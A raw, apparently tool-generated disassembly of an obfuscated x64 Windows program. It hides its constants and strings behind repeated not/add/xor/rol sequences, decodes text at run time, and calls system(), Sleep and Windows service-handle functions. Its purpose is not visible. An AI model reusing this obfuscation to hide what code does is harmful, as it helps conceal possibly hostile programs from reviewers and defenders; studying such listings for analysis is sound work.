call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d4438
xor edx, edx
mov r8d, 0x18abd82a
pushf
not r8d
add r8d, 0x83440784
xor r8d, 0x848b32ba
rol r8d, 0x9b
popf
pushf
not r8d
add r8d, 0xc3c39b0b
xor r8d, 0x8453021f
rol r8d, 0x46
popf
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.1400f69ef
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rdi, [0x19d8cd746]
pushf
sub rdi, 0x5d855a1e
popf
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
cmp qword [rbp - 8], 0
jne 0x1400d39a4
push rax
pushf
mov eax, 0x9ec5a87
pushf
not eax
add eax, 0xd53f6bad
xor eax, 0xfeb074b8
rol eax, 0x62
popf
pushf
not eax
add eax, 0x9de24301
xor eax, 0xc655fc8c
rol eax, 0x95
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x95a8fb19
pushf
not eax
add eax, 0xbb235360
xor eax, 0xb5112d63
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xb6ee2204
xor eax, 0xaabe17ff
rol eax, 0x80
popf
pushf
not eax
add eax, 0x9c34c4e6
xor eax, 0x87d8a964
rol eax, 0x94
popf
pushf
not eax
add eax, 0xf0261f43
xor eax, 0xf319a3c5
rol eax, 0xf7
popf
jmp 0x1400d0961
movabs rax, 0xcd83de7d3a6abc29
pushf
not rax
add rax, 0x70f59cf7
xor rax, 0x4ce27f29
rol rax, 0x1b
popf
pushf
not rax
add rax, 0x4c9b685f
xor rax, 0x6c41956f
rol rax, 0x77
popf
pushf
not rax
add rax, 0x6b63b4e1
xor rax, 0x78c576da
rol rax, 0x77
popf
mov qword [rbp + 0x100], rax
movabs rax, 0x4bcf3b5ce6a1b8a
pushf
not rax
add rax, 0x767a25d0
xor rax, 0x52abf16c
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x4ad89f83
xor rax, 0x72378d2e
rol rax, 0x34
popf
pushf
not rax
add rax, 0x4a74d5c6
xor rax, 0x40b41e82
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x50a5da84
xor rax, 0x488b8d55
rol rax, 0x12
popf
mov qword [rbp + 0x108], rax
movabs rax, 0xe690b4e97585c61d
pushf
not rax
add rax, 0x7fa3abc2
xor rax, 0x72bbd298
rol rax, 0x4d
popf
pushf
not rax
add rax, 0x58233523
xor rax, 0x42466588
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x562c3899
xor rax, 0x5621dc65
rol rax, 0xa0
popf
pushf
not rax
add rax, 0x494fcc17
xor rax, 0x52df6f13
rol rax, 0x36
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x5cfdf85b3e03cff8
pushf
not rax
add rax, 0x428154ed
xor rax, 0x54143931
rol rax, 0xef
popf
pushf
not rax
add rax, 0x74f75b31
xor rax, 0x632fbd6c
rol rax, 0xac
popf
mov qword [rbp + 0x118], rax
movabs rax, 0xd671ac3e484fe553
pushf
not rax
add rax, 0x5ee343b2
xor rax, 0x6d0c8239
rol rax, 0x93
popf
pushf
not rax
add rax, 0x533c8682
xor rax, 0x55b9f6f3
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x6d386944
xor rax, 0x49e99d9a
rol rax, 0x3b
popf
mov qword [rbp + 0x120], rax
movabs rax, 0x5dad2448e3f0a10d
pushf
not rax
add rax, 0x52c6c9ab
xor rax, 0x5ac376e9
rol rax, 0x1b
popf
pushf
not rax
add rax, 0x4228f4a6
xor rax, 0x58aaad24
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x63bd715e
xor rax, 0x55037af2
rol rax, 0xb1
popf
pushf
not rax
add rax, 0x50a897e1
xor rax, 0x6113fdbc
rol rax, 0x3d
popf
mov qword [rbp + 0x128], rax
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], rsi
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r15
movabs rcx, 0xbbb21d0242d1a7f1
pushf
not rcx
add rcx, 0x7e029c00
xor rcx, 0x5720db53
rol rcx, 0x89
popf
pushf
not rcx
add rcx, 0x5f08deac
xor rcx, 0x4e5b1138
rol rcx, 0xb6
popf
pushf
not rcx
add rcx, 0x7a47750c
xor rcx, 0x47439c4c
rol rcx, 0xde
popf
pushf
not rcx
add rcx, 0x528d11a2
xor rcx, 0x6b68cbac
rol rcx, 0xf4
popf
mov qword [rbp + 0xf0], rcx
mov qword [rbp + 0xf8], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8cc6
mov rbx, rax
jmp 0x1400d3d23
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d3d2f
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x19705f115]
pushf
sub rdx, 0x570570f5
popf
mov rcx, rax
jmp 0x1400d3d4b
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d41ab
mov r8d, 0x3e0b91
pushf
not r8d
add r8d, 0xfa5706a9
xor r8d, 0xf709930d
rol r8d, 0xe4
popf
pushf
not r8d
add r8d, 0xd7275053
xor r8d, 0xe0f3f9ea
rol r8d, 9
popf
pushf
not r8d
add r8d, 0xb9b80db5
xor r8d, 0xf388abe7
rol r8d, 0xf7
popf
lea rdx, [0x189930eae]
pushf
sub rdx, 0x498acd9e
popf
lea rcx, [rsp + 0x70]
jmp 0x1400d3e18
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
push rdx
not rdx
sub rcx, rdx
pop rdx
sub rcx, 1
jmp 0x1400d3e35
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400d3e89
push rax
pushf
mov eax, 0x9a52b045
pushf
not eax
add eax, 0xa9c41392
xor eax, 0xfd7b4e29
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xe1cc3a96
xor eax, 0xf9c02099
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xdb85dd12
xor eax, 0x9a83bee1
rol eax, 0xc
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0xee83363d
pushf
not eax
add eax, 0xc9c6b443
xor eax, 0xf319f452
rol eax, 0x46
popf
pushf
not eax
add eax, 0xd9dcfc1b
xor eax, 0xc331a650
rol eax, 0x92
popf
jmp 0x1400d0961
movabs rax, 0x42b0ab7a0e372444
pushf
not rax
add rax, 0x477cd452
xor rax, 0x412abd74
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x6c435ce1
xor rax, 0x4f1dd38d
rol rax, 0x90
popf
pushf
not rax
add rax, 0x59d35e69
xor rax, 0x5ac5ea5f
rol rax, 0x7f
popf
mov qword [rbp + 0xd0], rax
movabs rax, 0x44f60252ae83d5f5
pushf
not rax
add rax, 0x477b3864
xor rax, 0x5df0ab71
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x7bc05aa1
xor rax, 0x5ebbc174
rol rax, 0xb7
popf
mov qword [rbp + 0xd8], rax
movabs rax, 0x8ab869e416513597
pushf
not rax
add rax, 0x5bc98b03
xor rax, 0x4900ed9b
rol rax, 0x68
popf
pushf
not rax
add rax, 0x7cc85ee8
xor rax, 0x588c6533
rol rax, 0x18
popf
pushf
not rax
add rax, 0x5eff30f6
xor rax, 0x7238eeb7
rol rax, 0x9a
popf
pushf
not rax
add rax, 0x7178ad7f
xor rax, 0x4faf6b56
rol rax, 1
popf
mov qword [rbp + 0xe0], rax
movabs rax, 0xe7e14f3be0a18dde
pushf
not rax
add rax, 0x6e0fa3c4
xor rax, 0x47f6e6ac
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x5afde356
xor rax, 0x603fdd2d
rol rax, 0x55
popf
pushf
not rax
add rax, 0x6074c048
xor rax, 0x705a4007
rol rax, 0x17
popf
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xe0], xmm1
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8cc6
mov rbx, rax
jmp 0x1400d4074
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d4080
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x196f4a8b1]
pushf
sub rdx, 0x56f42891
popf
mov rcx, rax
jmp 0x1400d409c
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.14011581a
test rax, rax
jne 0x1400d40e4
push rax
pushf
mov eax, 0x1aeced63
pushf
not eax
add eax, 0x8cc9413d
xor eax, 0xcd38e426
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x8710fa86
xor eax, 0xcdd7cc86
rol eax, 0xa7
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x5a5bc643
pushf
not eax
add eax, 0xfc792c3d
xor eax, 0xaadfd03e
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xd5e96350
xor eax, 0x8675a254
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x81fe971d
xor eax, 0xd3eeff05
rol eax, 0x3e
popf
jmp 0x1400d0961
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d414c
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
push rax
pushf
mov eax, 0xf1690f08
pushf
not eax
add eax, 0xb77a0113
xor eax, 0xac13cc09
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x9887bdfe
xor eax, 0x881e9171
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xe2fc4c2d
xor eax, 0xc574a645
rol eax, 0x10
popf
pushf
not eax
add eax, 0xf1ca9193
xor eax, 0x975ac547
rol eax, 0x85
popf
jmp 0x1400d0961
movabs rax, 0x90109d2bd5fdbdb0
pushf
not rax
add rax, 0x58eeab23
xor rax, 0x67575205
rol rax, 0x12
popf
pushf
not rax
add rax, 0x580241e0
xor rax, 0x5679b69e
rol rax, 0xf0
popf
pushf
not rax
add rax, 0x4be175e3
xor rax, 0x5b54e312
rol rax, 0xbe
popf
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
jmp 0x1400d422b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d4232
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce457
lea rcx, [rbp - 0x80]
jmp 0x1400d426b
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d4276
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x1400d5b44
lea rcx, [rsp + 0x78]
call fcn.14011581a
test rax, rax
jne 0x1400d432f
push rax
pushf
mov eax, 0xb2b0154c
pushf
not eax
add eax, 0x92c6a230
xor eax, 0xcc0418af
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x9f2f7764
xor eax, 0xe9efff56
rol eax, 0x86
popf
pushf
not eax
add eax, 0xf228b1a9
xor eax, 0xf015b481
rol eax, 0xee
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x118984bb
pushf
not eax
add eax, 0x8edb704f
xor eax, 0x97b581a7
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xc15a8db6
xor eax, 0x856acb3e
rol eax, 0x58
popf
pushf
not eax
add eax, 0x80ffb716
xor eax, 0xd5bff646
rol eax, 0xba
popf
pushf
not eax
add eax, 0x8b96be77
xor eax, 0xbfc11f8a
rol eax, 0xf3
popf
jmp 0x1400d0961
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d43aa
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
push rax
pushf
mov eax, 0x140796ad
pushf
not eax
add eax, 0xad2a9bcc
xor eax, 0xbc804c6b
rol eax, 0x49
popf
pushf
not eax
add eax, 0xa022b8d3
xor eax, 0xf8a0f0a3
rol eax, 0x41
popf
pushf
not eax
add eax, 0xc897925c
xor eax, 0x86fd1612
rol eax, 0xae
popf
jmp 0x1400d0961
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce457
lea rcx, [rbp - 0x80]
jmp 0x1400d4427
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d4432
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova r8, qword [rsp + 0x48]
movabs rdi, 0xe93a266e534c040a
pushf
not rdi
add rdi, 0x7b1f8d5e
xor rdi, 0x5bb6999c
rol rdi, 0xfa
popf
pushf
not rdi
add rdi, 0x6dc9ff30
xor rdi, 0x62dad541
rol rdi, 0x79
popf
pushf
not rdi
add rdi, 0x5cb966a9
xor rdi, 0x7bef8e55
rol rdi, 0x3a
popf
mov qword [rsp + 0x30], rdi
movabs rbx, 0xc9ad5d59425732cb
pushf
not rbx
add rbx, 0x729d04a4
xor rbx, 0x7d6e63ac
rol rbx, 0x89
popf
pushf
not rbx
add rbx, 0x5732d0e9
xor rbx, 0x6a8eb1cf
rol rbx, 0xe6
popf
pushf
not rbx
add rbx, 0x5fc80ef2
xor rbx, 0x509ae471
rol rbx, 0x36
popf
mov qword [rsp + 0x38], rbx
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x80]
call fcn.14010f290
test al, al
jne 0x1400d4599
push rax
pushf
mov eax, 0xfcd37c88
pushf
not eax
add eax, 0xde4b88ec
xor eax, 0xe314e680
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xd65e507c
xor eax, 0xacdd1a06
rol eax, 6
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x2b845b47
pushf
not eax
add eax, 0xeb656970
xor eax, 0xbf771c88
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xd7b218d8
xor eax, 0x96caba04
rol eax, 0x75
popf
pushf
not eax
add eax, 0x9541d947
xor eax, 0xb1311e4a
rol eax, 0x28
popf
pushf
not eax
add eax, 0xbc94f87d
xor eax, 0x9279a92b
rol eax, 0x8d
popf
jmp 0x1400d0961
mov ecx, 0x34aa4db7
pushf
not ecx
add ecx, 0xc4b13c2b
xor ecx, 0x91229d3f
rol ecx, 0x7e
popf
pushf
not ecx
add ecx, 0xdc60cdcb
xor ecx, 0xdc17bf57
rol ecx, 0x7d
popf
jmp 0x1400d4622
call qword [sym.imp.KERNEL32.dll_Sleep]
push rax
pushf
mov eax, 0xba124152
pushf
not eax
add eax, 0xaaab131b
xor eax, 0xa08592ef
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x82f9f2e6
xor eax, 0xcce54056
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xc3be17fb
xor eax, 0x9e0dd0aa
rol eax, 0x37
popf
jmp 0x1400d0961
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
call fcn.1400c19fa
jmp 0x1400d5b44
mov rcx, rax
jmp 0x1400d46e9
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
jmp 0x1400d46f3
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movabs rax, 0xd6b7e565629062c6
pushf
not rax
add rax, 0x7f1ede47
xor rax, 0x4989e210
rol rax, 0x84
popf
pushf
not rax
add rax, 0x7cf7f841
xor rax, 0x40ad6f85
rol rax, 0x43
popf
pushf
not rax
add rax, 0x76bd8798
xor rax, 0x7b27f02a
rol rax, 0x17
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0xc7b4693860b83583
pushf
not rax
add rax, 0x4b85090d
xor rax, 0x73b3e2e5
rol rax, 0x63
popf
pushf
not rax
add rax, 0x7a85ee7b
xor rax, 0x5b43aa4f
rol rax, 0x78
popf
pushf
not rax
add rax, 0x59288e1c
xor rax, 0x561bb6e5
rol rax, 0x6e
popf
pushf
not rax
add rax, 0x683e4b94
xor rax, 0x45f77ac0
rol rax, 0xe6
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0x9e12ff2e465ff5f
pushf
not rax
add rax, 0x7347c78c
xor rax, 0x666e05d1
rol rax, 0xa8
popf
pushf
not rax
add rax, 0x4c1f164a
xor rax, 0x710ed29a
rol rax, 0x8e
popf
pushf
not rax
add rax, 0x550dc352
xor rax, 0x4b0cf7d3
rol rax, 0xfa
popf
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8cc6
lea rdx, [0x19034ff43]
pushf
sub rdx, 0x50347f23
popf
mov rcx, rax
jmp 0x1400d488c
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
jmp 0x1400d48a4
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400d48f5
push rax
pushf
mov eax, 0x5fabf82b
pushf
not eax
add eax, 0xa17e2929
xor eax, 0x8473c3db
rol eax, 0x67
popf
pushf
not eax
add eax, 0xa2f30c86
xor eax, 0xeedbbf5b
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x88424d65
xor eax, 0xf6df10ed
rol eax, 0xbd
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x1e0cd067
pushf
not eax
add eax, 0xb4a0e172
xor eax, 0x939967a1
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xd8780cf8
xor eax, 0xb8834b86
rol eax, 0x14
popf
pushf
not eax
add eax, 0xb0e825c0
xor eax, 0xbc614e94
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xc24a72a2
xor eax, 0xa965ddde
rol eax, 0x4a
popf
jmp 0x1400d0961
test al, 0x10
jne 0x1400d4985
push rax
pushf
mov eax, 0x76e28cd2
pushf
not eax
add eax, 0xa9dea538
xor eax, 0xd7e8928f
rol eax, 0xca
popf
pushf
not eax
add eax, 0xe0e5e4c7
xor eax, 0x8eba5532
rol eax, 0x57
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x7f7cea59
pushf
not eax
add eax, 0x9ce72305
xor eax, 0x8dc71acf
rol eax, 0x13
popf
pushf
not eax
add eax, 0xe2c60412
xor eax, 0xc5cb0c49
rol eax, 0x99
popf
pushf
not eax
add eax, 0x914c2e93
xor eax, 0xcf2cd9ad
rol eax, 0x31
popf
jmp 0x1400d0961
mov al, 0x3a
pushf
not al
add al, 0x54
xor al, 0xc2
rol al, 0xf3
popf
pushf
not al
add al, 0x89
xor al, 0xd7
rol al, 0x22
popf
pushf
not al
add al, 0xd9
xor al, 0xf3
rol al, 0x5c
popf
jmp 0x1400d4a87
xor al, al
push rax
pushf
mov eax, 0x5dc1fcc6
pushf
not eax
add eax, 0xd667fcd0
xor eax, 0xf2841d46
rol eax, 0x31
popf
pushf
not eax
add eax, 0x988216dc
xor eax, 0xf6028d21
rol eax, 0x83
popf
pushf
not eax
add eax, 0xe6806181
xor eax, 0xff79af55
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf0af630c
xor eax, 0x9e4a1f4b
rol eax, 0xb7
popf
jmp 0x1400d0961
test al, al
jne 0x1400d4ae8
push rax
pushf
mov eax, 0xfed498ab
pushf
not eax
add eax, 0xd843b728
xor eax, 0xd3bf1b22
rol eax, 0x86
popf
pushf
not eax
add eax, 0xc86accb0
xor eax, 0x91afc197
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xe7e3b8fa
xor eax, 0xe58200ce
rol eax, 0x47
popf
pushf
not eax
add eax, 0xf7c23b50
xor eax, 0xf4d38ae2
rol eax, 0x6d
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0xade96349
pushf
not eax
add eax, 0xbb9522c9
xor eax, 0xb2098fae
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xc534585c
xor eax, 0xfafee6b0
rol eax, 0xa
popf
pushf
not eax
add eax, 0xca059893
xor eax, 0xb6b59703
rol eax, 0xbb
popf
jmp 0x1400d0961
xor edx, edx
mov r8d, 0xe9a065cb
pushf
not r8d
add r8d, 0x97ef7b5e
xor r8d, 0xc38894b2
rol r8d, 0x1f
popf
pushf
not r8d
add r8d, 0xcde57a1d
xor r8d, 0x9720b98c
rol r8d, 0x73
popf
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.1400f69ef
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rdi, [0x1b9853f40]
pushf
sub rdi, 0x797dc218
popf
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
cmp qword [rbp - 8], 0
jne 0x1400d4bfe
push rax
pushf
mov eax, 0x54af8e01
pushf
not eax
add eax, 0xadd934a0
xor eax, 0xaeeba5b8
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xc118e177
xor eax, 0x8947d15d
rol eax, 0xd1
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x35f1ccd7
pushf
not eax
add eax, 0xbcd54ca8
xor eax, 0xa5fc559d
rol eax, 0x64
popf
pushf
not eax
add eax, 0xe5853762
xor eax, 0xb392913f
rol eax, 0xdc
popf
jmp 0x1400d0961
movabs rax, 0xc2ad9acecd9aa432
pushf
not rax
add rax, 0x7bd1e201
xor rax, 0x4d74a239
rol rax, 0x88
popf
pushf
not rax
add rax, 0x5bfaff89
xor rax, 0x7ed96638
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x7ef80da0
xor rax, 0x559b635a
rol rax, 0x4f
popf
pushf
not rax
add rax, 0x46450e5c
xor rax, 0x6acb1b75
rol rax, 0x8a
popf
mov qword [rbp + 0x100], rax
movabs rax, 0x33eb131c763e97a1
pushf
not rax
add rax, 0x589ec280
xor rax, 0x43763420
rol rax, 0x65
popf
pushf
not rax
add rax, 0x5c891c99
xor rax, 0x544e5224
rol rax, 0x61
popf
mov qword [rbp + 0x108], rax
movabs rax, 0xaa2bf7767579b09b
pushf
not rax
add rax, 0x5e523a00
xor rax, 0x4cfdb429
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x79efadb6
xor rax, 0x61a2bd19
rol rax, 0x85
popf
pushf
not rax
add rax, 0x4a6f30ea
xor rax, 0x751d0860
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x74f5bf9b
xor rax, 0x69743b13
rol rax, 0x18
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x466130da30248a06
pushf
not rax
add rax, 0x507f03e2
xor rax, 0x6bc5bd5a
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x4b36eb16
xor rax, 0x66a67b9e
rol rax, 0xb9
popf
pushf
not rax
add rax, 0x4b0864c6
xor rax, 0x4f1b0958
rol rax, 0x63
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x8862a5384f6d2763
pushf
not rax
add rax, 0x73538bfc
xor rax, 0x4b842fe5
rol rax, 0x58
popf
pushf
not rax
add rax, 0x54b06cb3
xor rax, 0x5d5ec5c9
rol rax, 0x8f
popf
mov qword [rbp + 0x120], rax
movabs rax, 0xf0fa791a402f2e98
pushf
not rax
add rax, 0x61782a24
xor rax, 0x574ccab3
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x4d663992
xor rax, 0x416cdae5
rol rax, 0xa8
popf
mov qword [rbp + 0x128], rax
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], rsi
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r15
movabs rcx, 0x6445ea25efecca29
pushf
not rcx
add rcx, 0x6a0bdbf1
xor rcx, 0x532320f8
rol rcx, 0x17
popf
pushf
not rcx
add rcx, 0x7c72fed6
xor rcx, 0x496a56ca
rol rcx, 0xed
popf
mov qword [rbp + 0xf0], rcx
mov qword [rbp + 0xf8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
